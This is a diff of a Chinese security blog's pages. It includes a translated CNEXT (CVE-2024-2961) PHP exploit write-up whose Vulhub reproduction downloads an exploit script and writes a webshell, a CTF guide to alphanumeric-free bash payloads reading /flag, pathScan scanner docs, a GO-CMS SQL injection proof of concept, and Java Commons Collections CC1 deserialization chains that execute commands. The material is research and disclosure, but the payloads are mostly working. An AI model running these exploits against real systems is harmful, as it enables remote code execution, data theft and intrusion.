我们的漏洞利用运行了 3 个请求:它下载 /proc/self/maps ,并提取 PHP 堆的地址和 libc 的文件名。然后,它下载 libc 二进制文件以提取 的 system() 地址。最后,它执行执行溢出的最终请求并执行我们的任意命令。

+

它的表现非常好:

+
    +
  • 适用于任何目标 +
      +
    • From PHP 7.0.0 (2015) to 8.3.7 (2024) +从 PHP 7.0.0 (2015) 到 8.3.7 (2024)
    • +
    • Any PHP application: Wordpress, Laravel, etc. +任何PHP应用程序:Wordpress,Laravel等。
    • +
    +
  • +
  • 它是100%可靠的 +
      +
    • Due to its implementation, it will never (?) produce a crash +由于它的实现,它永远不会(?)产生崩溃
    • +
    • A binary exploit that feels like a web exploit! +感觉像网络漏洞的二进制漏洞!
    • +
    +
  • +
  • 有效负载小于 1000 字节 +
      +
    • 通过使用 zlib.inflate 和仅 12 个过滤器,有效载荷非常小
    • +
    • 它适合 GET 请求
    • +
    +
  • +
  • 自包含漏洞利用 +
      +
    • 无需以 GET 或 POST 的形式发送其他参数:漏洞利用会自行完成所有操作,从填充堆到设置可用列表,最后执行代码
    • +
    +
  • +
+

它是一个小于 1000 字节的单个有效负载,可远程执行 10 年的 PHP 版本代码。

+

演示​

+

为了说明这一点,我将以运行在 PHP 8.3.x 上的 Wordpress 实例为目标。为了引入文件读取漏洞,我添加了 BuddyForms 插件 (v2.7.7),该插件存在CVE-2023-26326的缺陷。该错误最初被报告为 PHAR 反序列化错误,但 Wordpress 没有任何反序列化小工具链。在任何情况下,目标都运行在 PHP 8+ 上,因此它不容易受到 PHAR 攻击。

+

注意:如果您阅读原始查找器的公告,您可能会看到,在文件读取基元之前,会执行调用 getimagesize() 以检查文件是否为图像。因此,为了允许漏洞和 libc 读取 /proc/self/maps ,我使用wrapwrap 使它们看起来像 GIF 图像。

+

冲击​

+

对PHP生态有什么影响?这不是一个新的漏洞,而是漏洞的新利用向量。但是,有多种方法可以使 PHP 读取文件;文件读取原语在 Web 应用程序中非常流行。

+

标准水槽​

+

显然,PHP 的每个标准文件读取接收器都会受到影响: file_get_contents() 、、 file() 、 readfile() fgets() 、 getimagesize() SplFileObject->read() 等。文件写入也会受到影响( file_put_contents() 及其同级)。

+

使用漏洞​

+

SQL injection to RCE SQL 注入到 RCE​

+

如果您在 PDO/MySQL 上获得 SQL 注入,您也许可以使用 LOAD DATA LOCAL INFILE :

+
LOAD DATA LOCAL INFILE 'php://filter/cnext...';
+

XXE​

+

XXE 现在是 RCE。

+
<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY exploit SYSTEM "php://filter/cnext...">
]>
<root>&exploit;</root>
+

作为 PHAR 的替代品​

+

与 PHAR 攻击相反,仅对文件(如 file_exists() 或 is_file() )执行检查的函数不受影响。但是,在其他情况下,该漏洞可以用作 PHAR 攻击的替代品,如演示中所示。禁用 phar:// 或更新到 PHP 8 不会拯救您。

+

解析库​

+

每个以某种方式操纵 URL 的库都可能容易受到攻击。以下是我在开发漏洞时发现的一些新目标:

+ +

例如,PHP-SVG 库可能会受到这样的有效载荷的攻击:

+
<svg width="100" height="100">
<image href="php://filter/cnext/..." width="1" height="1" />
</svg>
+

HTML 到 PDF 解析器(如 dompdf、tcpdf 等)也可能是目标。

+

类实例化​

+

有时,在攻击PHP时,会遇到以下原语:

+
new $_GET['cls']($_GET['argument']);
+

This excellent blogpost from PTswarm describes many ways to get a file read from this primitive, which may all be used to trigger the exploit. Examples include SoapClient, Imagick, tidy, or SimpleXMLElement. +这篇来自 PTswarm 的优秀博文描述了从这个原语中读取文件的多种方法,这些方法都可能用于触发漏洞利用。示例包括 SoapClient 、 Imagick 、 tidy 或 SimpleXMLElement 。

+

作为对小工具链的改进​

+

如果您发现文件读取 unserialize() 小工具链,则可以使用该漏洞将其升级到 RCE。随着最近的应用程序以及 PHP 库越来越多地使用类型这一事实,它可能会派上用场。

+

其他人,可能​

+

只要您控制文件读取或文件写入接收器的前缀,您就拥有了 RCE!

+

时间线​

+
    +
  • 去年 Crash 发现
  • +
  • 2月 开始处理错误
  • +
  • 3 月 26 日 Bug 报告给 glibc 安全团队
  • +
  • 4 月 4 日 Bug 报告给 linux 发行版
  • +
  • 4 月 17 日漏洞作为 CVE-2024-2961 发布
  • +
+

注意:glibc 安全团队速度快、彬彬有礼且技术能力强。他们在一周内发布了一个补丁(以及随之而来的所有补丁)。非常感谢!*

+

结论​

+

CNEXT (CVE-2024-2961) 系列文章的第一部分到此结束 。该漏洞现已在我们的 GitHub 上提供。还有很多东西需要探索:直接调用呢 iconv() ?如果读取的文件是盲文件,会发生什么情况?

+

在第 2 部分中,我们将更深入地研究 PHP 引擎,以定位在非常流行的 PHP 网络邮件中发现的 iconv() 调用。我将描述这种直接调用对 PHP 生态系统的影响,并向您展示一些意想不到的接收器。最后,在第 3 部分中,我们将介绍盲文件读取漏洞利用。

+

敬请关注!

+

VULHUB复现

+

GNU C 是一个标准的ISO C依赖库。在GNU C中,iconv()函数2.39及以前存在一处缓冲区溢出漏洞,这可能会导致应用程序崩溃或覆盖相邻变量。

+

如果一个PHP应用中存在任意文件读取漏洞,攻击者可以利用iconv()的这个CVE-2024-2961漏洞,将其提升为代码执行漏洞。

+

参考链接:

+ +

漏洞环境​

+

执行如下命令启动一个PHP 8.3.4服务器,其使用iconv 2.36作为依赖:

+
docker compose up -d
+

服务启动后,你可以通过http://your-ip:8080/index.php?file=/etc/passwd这个链接读取/etc/passwd文件。

+

漏洞复现​

+

在使用原作者给出的exploit前,你需要准备一个Linux环境和Python 3.10解释器。

+

安装依赖:

+
pip install pwntools
pip install https://github.com/cfreal/ten/archive/refs/heads/main.zip
+

然后从https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py下载POC并执行:

+
wget https://raw.githubusercontent.com/ambionics/cnext-exploits/main/cnext-exploit.py
python cnext-exploit.py http://your-ip:8080/index.php "echo '<?=phpinfo();?>' > shell.php"
+

img

+

可见,我们已经成功写入shell.php:

+

img

+

转载

+
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/CTF/奇技淫巧/利用shell脚本变量构造无字母数字命令/index.html b/en/docs/个人知识库/CTF/奇技淫巧/利用shell脚本变量构造无字母数字命令/index.html new file mode 100644 index 0000000..02ca3eb --- /dev/null +++ b/en/docs/个人知识库/CTF/奇技淫巧/利用shell脚本变量构造无字母数字命令/index.html @@ -0,0 +1,111 @@ + + + + + +利用shell脚本变量构造无字母数字命令 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-10-14 23:58:22
+

利用shell脚本变量构造无字母数字命令

+

shell脚本中$的多种用法​

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
变量名含义
$0脚本本身的名字
$1脚本后所输入的第一串字符
$2传递给该shell脚本的第二个参数
$*脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$@脚本后所输入的所有字符’westos’ ‘linux’ ‘lyq’
$_表示上一个命令的最后一个参数
$##脚本后所输入的字符串个数
$$脚本运行的当前进程ID号
$!表示最后执行的后台命令的PID
$?显示最后命令的退出状态,0表示没有错误,其他表示由错误
+

有数字的命令执行​

+

首先,在linux里完美可以利用八进制的方法绕过一些ban了字母的题 ,即我们可以使用$'\xxx'的方式执行命令,比如我们可以用$'\154\163'执行ls:

+
➜  / $'\154\163'
➜ /
+

image-20240607201034726

+

可以发现有了这种技巧我们就可以在数字可用的情况下进行命令构造。

+

除此之外在bash里我们可以使用[base#]n的方式表示数字,也就是说我可以用2#100表示十进制数字4

+
➜  / echo $((2#100))
4
➜ / echo $((2#101))
5
➜ /
+

image-20240607201343119

+

因此从这里我们又向前推进了一步,只有我们有数字1或者0那就可以继续构造命令。假如现在字母或者数字只有1和0可以用,这时我们可以使用位移运算1<<1代替2,得到payload:

+
$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
+

理论上它可以代替$'\154\163'执行命令,但事实上是不行的:

+
➜  / $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
zsh: command not found: $'\154\163'
➜ /
+

image-20240607201706852

+

可以看到这里只解析了一层解析到$'\154\163'就解析不下去了,想要它继续解析,我们不难想到Linux里的eval函数:

+
➜  / eval $\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
➜ /
+

image-20240607202025621

+

但可惜我们是不能使用它的,所以还是得老老实实的用1或者0构造,这里我们可以想到bash里的一种语法:command [args] <<<["]$word["],在这种语法下$word会展开并作为command的stdin,以此来继续执行命令:

+
➜  / bash<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
➜ /
+

image-20240607202145762

+

但现在有个问题,就是用什么来代替bash,这时可以想到我之前文章里提到过的一个环境变量$0,它可以表示脚本本身的名字,而这里正是bash:

+
root@racknerd-0f70a9:/# echo $"0"
0
root@racknerd-0f70a9:/#
+

image-20240607202310491

+

因此我们不难想出一种构造方式来:

+
root@racknerd-0f70a9:/# $0<<<$\'\\$(($((1<<1))#10011010))\\$(($((1<<1))#10100011))\'
bin boot core dev etc flag home lib lib32 lib64 libx32 lost+found media mnt opt proc root run sbin snap srv sys tmp tmp.txt tpdata usr var www
root@racknerd-0f70a9:/#
+

image-20240607202342270

+

成功执行!假如这是一道CTF题,我们就该想想怎么执行cat /flag了,你想到的payload可能是:

+
$0<<<$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
+

bash会告诉你不存在cat /flag这种文件或者目录,很明显,bash是把它当作一个整体了,并没有有效的以空格作为分割,让cat作为命令,/flag作为参数,在ctfshow的极限命令执行题目里g4师傅给出了一种解决这种问题的方法——通过两次here-strings的方法来解析复杂的带参数命令,也就是说我们可以把payload改成:

+

image-20240609110358501

+

执行成功,我们拿到了flag,但可以看到这种构造方式不够极限,里面不但出现0更出现了1,下面,我们开始构造真正的无字母数字命令。

+

利用$#构造​

+

在之前那篇文章里我也提到过$#这个变量,它可以表示#脚本后所输入的字符串个数:

+

如果#后面啥也没有它就是0,有一个字符串比如#就变成了1,似乎现在我们只要把1用${##}替换,0用${#}替换即可:

+
root@lavm-cobc2qtifw:/# $${#}<<<$${#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
65523{#}: command not found
+

image-20240609110839466

+

可惜这种执行方法是不行的,因为虽然$0表示bash,${#}表示0,但把它们拼起来并不表示bash,这里$$直接执行了,意思是脚本运行的当前进程ID号。下一步你可能会想到linux里的字符串拼接,但这种拼接也只会解析第一层,不会解析到最后:

+
__="$""${#}";echo ${__};
+

image-20240609111007447

+

因此理论上我们只要找到一个值为零的变量,然后就可以用这种方法进行变量替换得到$0,并且还能成功解析,这时我们很容易想到刚刚使用的${#},毕竟它的值就是零嘛:

+
root@lavm-cobc2qtifw:/# echo ${!#}
bash
root@lavm-cobc2qtifw:/#
+

可以看到确实能得到bash,我们再次替换回去,可以得到新payload:

+
root@lavm-cobc2qtifw:/# ${!#}<<<${!#}\<\<\<\$\'\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${##}${#}${#}))\\$(($((${##}<<${##}))#${##}${#}${##}${#}${#}${#}))\\$(($((${##}<<${##}))#${##}${##}${##}${#}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${##}${#}${##}${#}))\\$(($((${##}<<${##}))#${##}${#}${#}${#}${##}${##}${#}${##}))\\$(($((${##}<<${##}))#${##}${#}${#}${##}${#}${#}${##}${##}))\'
flag{1234}
root@lavm-cobc2qtifw:/#
+

image-20240609111303604

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/pathScan-doc/下载安装/index.html b/en/docs/个人知识库/pathScan-doc/下载安装/index.html new file mode 100644 index 0000000..cea1258 --- /dev/null +++ b/en/docs/个人知识库/pathScan-doc/下载安装/index.html @@ -0,0 +1,34 @@ + + + + + +下载安装 | wjlin0 + + + + + + + +
作者修订时间
wjlin02023-08-22 17:33:34
+

下载安装

+
+

[!Tip] pathScan几乎支持所有平台,您可以在下面的安装方式中找到相应平台的安装方式,若您的平台不支持,请使用 Go1.19 以上的版本自行编译

+
+

Go​

+
go install gitub.com/wjlin0/pathScan@latest
+

Binary​

+
+

[!Tip] 二进制文件

+
+
wget https://github.com/wjlin0/pathScan/releases/download/v1.3.2/pathScan_v1.3.2_linux_amd64.zip
+

Github​

+
git clone https://github.com/wjlin0/pathScan.git; \
go build; \
mv pathScan /usr/local/bin; \
pathScan
+

Docker​

+
+

[!Tip]目前不直接提供docker的镜像,可自行编译

+
+
git clone https://github.com/wjlin0/pathScan.git; \
docker build -t pathScan . ;\
docker run --rm --name pathScan -it pathScan -u http://baidu.com
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/pathScan-doc/初始化/index.html b/en/docs/个人知识库/pathScan-doc/初始化/index.html new file mode 100644 index 0000000..73eff80 --- /dev/null +++ b/en/docs/个人知识库/pathScan-doc/初始化/index.html @@ -0,0 +1,45 @@ + + + + + +初始化 | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-08-19 16:50:57
+

初始化path

+
+

安装 pathScan 完成后,pathScan需要对其进行初始化才能正常运行

+
+

开始​

+

首次运行后,即可完成初始化,.check 创建完成后,则不会再次进行初始化

+

image-20230815120938498

+

配置文件​

+

运行所需的配置文件均在 $HOME/.config/pathScan 中,当然这些文件均不用提前创建,初始化时,会自动创建完毕

+
    +
  • provider-config.yaml 为网络空间测绘搜索引擎的API配置文件,可以设置多个key,运行时随机选择key
  • +
+

image-20230815122418577

+
    +
  • config.yaml 为命令行配置,如果你不想输入过长的命令,则可以将参数配置在该文中,运行时会自动读取该文件内容
  • +
+

image-20230815122809534

+
    +
  • dict 存放的默认路径字典
  • +
+

image-20230815123631291

+ +

image-20230815124747394

+
    +
  • js html格式输出时所需要的模板文件
  • +
+

image-20230815125015508

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/pathScan-doc/命令参数/index.html b/en/docs/个人知识库/pathScan-doc/命令参数/index.html new file mode 100644 index 0000000..fd8f0be --- /dev/null +++ b/en/docs/个人知识库/pathScan-doc/命令参数/index.html @@ -0,0 +1,45 @@ + + + + + +命令参数 | wjlin0 + + + + + + + +
作者修订时间
wjlin02023-08-22 17:33:34
+

命令参数

+
+

[!Tip]

+

pathScan使用的是nuclei工具的风格命令行, -help、--help 不敏感

+
+

获取基本命令​

+

您可以运行pathScan -help来获得帮助

+
➜  ~ pathScan -help
PathScan Go 扫描、信息收集工具

Usage:
pathScan [flags]

Flags:
输入:
-u, -url string[] 目标(以逗号分割)
-list string[] 从文件中,读取目标
-tr, -target-remote string 从远程加载目标
-tc, -target-channel 从通道中加载目标
-resume string 使用resume.cfg恢复扫描
-mf, -match-file string 指纹文件路径
+

基本使用​

+
    +
  • 探寻一个完整的基本路径,并排除404响应
  • +
+
pathScan -u https://wjlin0.com -sc 404
+

image-20230815130555877

+
    +
  • 从网络空间搜索引擎中,收集信息
  • +
+
# 首先得把key配置到 provider-config.yaml 文件中
pathScan -ue quake -uq 'baidu.com' -uc
+

image-20230815131000873

+
    +
  • pathScan默认不会从网页中发现新的URL,如果你发现其他路径,则可指定-so/-sd 允许发现其他URL
  • +
+
pathScan -u http://blog.wjlin0.com/ -sd
+

image-20230815134122981

+
    +
  • 收集某个域名的所有子域名
  • +
+
# 尽可能收集更多的资产信息 
pathScan -sub -sq baidu.com -sd
+

image-20230822153932227

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/pathScan-doc/扫描模式/index.html b/en/docs/个人知识库/pathScan-doc/扫描模式/index.html new file mode 100644 index 0000000..e50d676 --- /dev/null +++ b/en/docs/个人知识库/pathScan-doc/扫描模式/index.html @@ -0,0 +1,55 @@ + + + + + +扫描模式 | wjlin0 + + + + + + + +
作者修订时间
wjlin02023-08-22 17:34:33
+

四种模式

+

扫描路径​

+
+

通过指定路径文件或者默认不指定时,自动加载main.txt 中的路径,扫描

+
+
pathScan -u http://localhost:8080 -sc 404 -sbl 0
+

image-20230822155116797

+

扫描路径(递归)​

+
+

-r 递归扫描 时间消耗长,判断路径的依据为 path的结尾 为 /,即为路径

+
+
pathScan -list url.txt -r sc 404 -sbl 0 -pf /root/.config/pathScan/dict/main.txt
+

image-20230822163449876

+

网络空间搜索引擎​

+
+

[!Waring]

+

运行前,需配置对应的API至 $HOME/.config/pathScan/provider-config.yaml 中

+
+
+

通过调用搜索引擎的API,来收集目标,并且可指定扫描路径

+

支持的API -> shodan,shodan-idb,fofa,censys,quake,hunter,zoomeye,netlas,zone,binary

+
+
pathScan -uc -uq 'domain="baidu.com"' -ue fofa -ps "/api/v1/users"
+

image-20230822165720553

+

子域名收集​

+
+

类似于 oneforall的主动收集过程与网络空间搜索相结合,收集子域名信息

+
+
pathScan -sub -sq 'baidu.com'
+

image-20230822170546203

+

辅助​

+
+

上诉所提到的所有模式中,若想发现在请求中发现更多的域名,则可以使用参数 -sd、-sdl 该参数可以发现更多的域名

+
+
pathScan -u baidu.com -sd -ps / -sdl "beian.gov.cn,google.com"
+

image-20230822172149199

+

image-20230822172424339

+

很明显不止是 baidu.com,还是google.com 均能够被发现,并且收集

+
pathScan -u https://baidu.com -sd -sdl "google.com" -ps / # 普通扫描
pathScan -r -u "baidu.com" -sd # 递归
pathScan -uc -ue fofa -uq 'domain="baidu.com"' -sd -sdl "google.com" # 搜索空间
pathScan -s -sq "baidu.com" -sd -ps / # 子域名收集
+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/Go/GO-CMS代码审计/index.html b/en/docs/个人知识库/代码审计/Go/GO-CMS代码审计/index.html new file mode 100644 index 0000000..b370043 --- /dev/null +++ b/en/docs/个人知识库/代码审计/Go/GO-CMS代码审计/index.html @@ -0,0 +1,44 @@ + + + + + +GO-CMS代码审计 | wjlin0 + + + + + + + +

GO-CMS代码审计

作者修订时间
wjlin02025-10-14 23:58:22
+

0x01 漏洞说明​

+

漏洞描述:发现在GO-CMS <=1.11.0,攻击者在导出用户/权限表格时,由于id直接拼接导致SQL注入

+

漏洞源码:GO-CMS-1.1.10.zip

+

项目地址:https://github.com/Xi-Yuer/GO-CMS/

+

漏洞等级:高

+

影响版本:<=1.1.10

+

漏洞URL:

+
    +
  • http://ip:port/cms/users/export
  • +
  • http://ip:port/cms/roles/export
  • +
+

0x02 漏洞详情​

+

1. 漏洞复现​

+

该漏洞需要拥有对上述接口的权限,才能触发;如下,构造以下POC

+
POST /cms/roles/export HTTP/1.1
Host: localhost:5173
Content-Length: 73
sec-ch-ua-platform: "macOS"
Authorization: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjM0OTgwNjMxOTYwMDk2NzY4IiwiYWNjb3VudCI6ImFkbWluIiwiaXNBZG1pbiI6MSwicm9sZUlkIjpbIjM3OTA0MjA4NTYwNjU2Mzg0IiwiNDU4NjQ5NTAxMTA4ODM4NDAiXSwiaW50ZXJmYWNlRGljIjpbIlBPU1Q6L2RlcGFydG1lbnQiLCJERUxFVEU6L2RlcGFydG1lbnQvOmlkIiwiUEFUQ0g6L2RlcGFydG1lbnQvOmlkIiwiR0VUOi9pbnRlcmZhY2UvcGFnZS86aWQiLCJERUxFVEU6L2ludGVyZmFjZS86aWQiLCJQT1NUOi9pbnRlcmZhY2UiLCJQQVRDSDovaW50ZXJmYWNlLzppZCIsIkdFVDovdXBsb2FkIiwiREVMRVRFOi91cGxvYWQvZGVsLzppZCIsIlBPU1Q6L3VwbG9hZC9jaGVjayIsIlBPU1Q6L3VwbG9hZCIsIlBPU1Q6L3VwbG9hZC9maW5pc2giLCJQT1NUOi91cGxvYWQvZG93bmxvYWQvOmlkIiwiR0VUOi91cGxvYWQvYUhyZWYvZG93bmxvYWQvOmlkIiwiR0VUOi9hdXRoL2Nvb2tpZSIsIkdFVDovbG9nL3N5c3RlbSIsIkdFVDovdGltZVRhc2siLCJQT1NUOi90aW1lVGFzay9zdGFydC86aWQiLCJQT1NUOi90aW1lVGFzay9zdG9wLzppZCIsIlBBVENIOi90aW1lVGFzay91cGRhdGUvOmlkIiwiR0VUOi9wYWdlcy9tZW51cyIsIlBPU1Q6L3VzZXJzIiwiR0VUOi9zeXN0ZW0iLCJHRVQ6L2xvZy9jb21taXRzIiwiR0VUOi9sb2cvY29tbWl0cy9jb3VudCIsIlBPU1Q6L3VzZXJzL3F1ZXJ5IiwiUE9TVDovcm9sZXMvcXVlcnkiLCJHRVQ6L2RlcGFydG1lbnQiLCJQQVRDSDovdXNlcnMvOmlkIiwiREVMRVRFOi91c2Vycy86aWQiLCJHRVQ6L3VzZXJzLzppZCIsIkRFTEVURTovcm9sZXMvOmlkIiwiUE9TVDovcm9sZXMvZXhwb3J0IiwiUE9TVDovdXNlcnMvZXhwb3J0IiwiUEFUQ0g6L3JvbGVzLzppZCIsIlBPU1Q6L3JvbGVzIiwiUE9TVDovcGFnZXMiLCJERUxFVEU6L3BhZ2VzLzppZCIsIkdFVDovcGFnZXMiLCJHRVQ6L3BhZ2VzL3VzZXIiLCJQQVRDSDovcGFnZXMvOmlkIiwiR0VUOi9wYWdlcy9yb2xlLzppZCIsIkdFVDovdXNlcnMvcm9sZS86aWQiLCJQT1NUOi9yb2xlcy9iaW5kVXNlciIsIlBPU1Q6L3JvbGVzL2RlQmluZFVzZXIiLCJQT1NUOi91c2Vycy9xdWVyeS9yb2xlLzppZCJdLCJkZXBhcnRtZW50SWQiOm51bGwsImlzcyI6IlhpLVl1ZXIiLCJzdWIiOiJhZG1pbiIsImV4cCI6MTczMzk2NTYyNSwibmJmIjoxNzMzODc5MjI2LCJpYXQiOjE3MzM4NzkyMjUsImp0aSI6IjM0OTgwNjMxOTYwMDk2NzY4In0.Cd2CJg1TpqdkSn3F2F1LZlfUeH7hGxclLD34PH7zzK8
Accept-Language: zh-CN,zh;q=0.9
sec-ch-ua: "Not?A_Brand";v="99", "Chromium";v="130"
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: application/json, text/plain, */*
Content-Type: application/json
Origin: http://localhost:5173
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost:5173/
Accept-Encoding: gzip, deflate, br
Cookie: Phpstorm-f30b1e9e=0694f073-c92a-4934-afee-c48c22785c21; Goland-852c6800=72bd19d4-b952-464f-9518-4cf4be331da3; device_id=61941ffb39fe4eafa03839d648f83ed5; FUCNdjYGFg4G=MTczMzg3OTIyNXxEWDhFQVFMX2dBQUJFQUVRQUFBRV80QUFBQT09fH-QTxZOkvnjo5WwV5AqR_ilvvDPSEgjD7WXHb4XSkfi
Connection: keep-alive

{"ids":["1) and extractvalue('~',concat('~',(select database()))) -- "]}
+

image-20241211111851195

+

同理,在用户功能导出表格时,也会触发SQL注入

+

image-20241211112123856

+

2. 源码分析​

+

以导出用户表格为例,攻击者发送恶意代码,首先会触发controllers.UserController.ExportExcel 控制器

+

image-20241211112358410

+

系统首先拿到JSON中的ids字段,并调用 services.UserService.ExportExcel函数

+

image-20241211112536615

+

继续调用 repositories.UserRepositorysModules.ExportExcel函数

+

image-20241211112628566

+

在这个函数中,可以发现,传递的ids字段,通过逗号分隔后,直接拼接到了 query 后

+

image-20241211112813219

+

最终恶意语句被执行

+ + \ No newline at end of file diff --git a/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC1/index.html b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC1/index.html new file mode 100644 index 0000000..f31f8d1 --- /dev/null +++ b/en/docs/个人知识库/代码审计/Java/ysoserial利用链/CC1-7/CC1/index.html @@ -0,0 +1,50 @@ + + + + + +Apache Commons Collections 1 | wjlin0 + + + + + + + +

Apache Commons Collections 1

+

利用链分析​

+

InvokerTransformer 对其恶意调用时用法为,如图,那么我们可以寻找其调用transform方法再何处,

+

image-20221121161648490

+

其实不难发现,该包类有很多处都调用了该方法,(这里有两条链,先分析国内这条链)

+

国内​

+

其中在这checkSetValue中

+

image-20221121162007507

+

在这个类TransformedMap中可以发现调用了transform 可以看一下其构造方法中 参数是否可控。

+

/**
* Override to transform the value when using <code>setValue</code>.
*
* @param value the value to transform
* @return the transformed value
* @since Commons Collections 3.1
*/
protected Object checkSetValue(Object value) {
return valueTransformer.transform(value);
}
+

可以发现这个类 其实是对 map 类的 一个封装类似于,checkSetValue调用的就是valueTransformer的transform

+

image-20221121162546300

+

他的构造方法实际是可控的,继续往上找,发现只有一处调用了checkSetValue,就是``TransformedMap的父类 AbstractInputCheckedMapDecorator`(抽象类)

+

image-20230220102949587

+

而 MapEntry 我们知道在循环遍历的时候会触发,所以只要对map进行遍历并设置值也就会触发checkSetValue这个方法。就可以关注到Sun包下面的AnnotationInvocationHandler这个类,在readObject 中 循环遍历的map

+

image-20230220103524663

+

而这里有个难点就是,memberValue.setValue(value)这个方法中的value,是new 了一个出来的代理类,所以就很难控制,于是又可以想到之前涉及到的一个类

+

ConstantTransformer,该类的transformer方法,可以直接返回固定对象,ChainedTransformer 又可以循环调用transformer。

+

而进入到需要两个条件

+
    +
  • AnnotationInvocationHandler的type需要一个value 才能进入。
  • +
  • map中的key值也需要这个value的值。
  • +
+
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;、
import org.apache.commons.collections.map.TransformedMap;

import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {
// 国内
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("value","");
Map decorate = TransformedMap.decorate(objectObjectHashMap, null, chainedTransformer);
Class<?> aClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance(Target.class, decorate);
serialize(o);
unserialize("ser.bin");
}

public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(Files.newInputStream(Paths.get(Filename)));
return objectInputStream.readObject();
}
public static void serialize(Object obj) throws IOException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(Files.newOutputStream(Paths.get("ser.bin")));
objectOutputStream.writeObject(obj);
}

}
+

国外​

+

与国内的思路一致,不同的是利用的map不一样。

+

image-20230220140915373

+

而符合这个的是在AnnotationInvocationHandler 的invoke方法中,我们知道invoke是动态代理时会自动触发invoke方法,刚好这个memberValues也是可控制的

+

image-20230220141056311

+

所以,我们可以在AnnotationInvocationHandler这个类套上一层代理类,于是代码走到entrySet()时,就会触发invoke方法。成功执行会序代码

+

image-20230220141206343

+

完整POC

+
package org.example;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.*;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;

public class CC1 {
public static void main(String[] args) throws NoSuchMethodException, InstantiationException, IllegalAccessException, InvocationTargetException, ClassNotFoundException, IOException {
// 国外
ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"}),
});
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
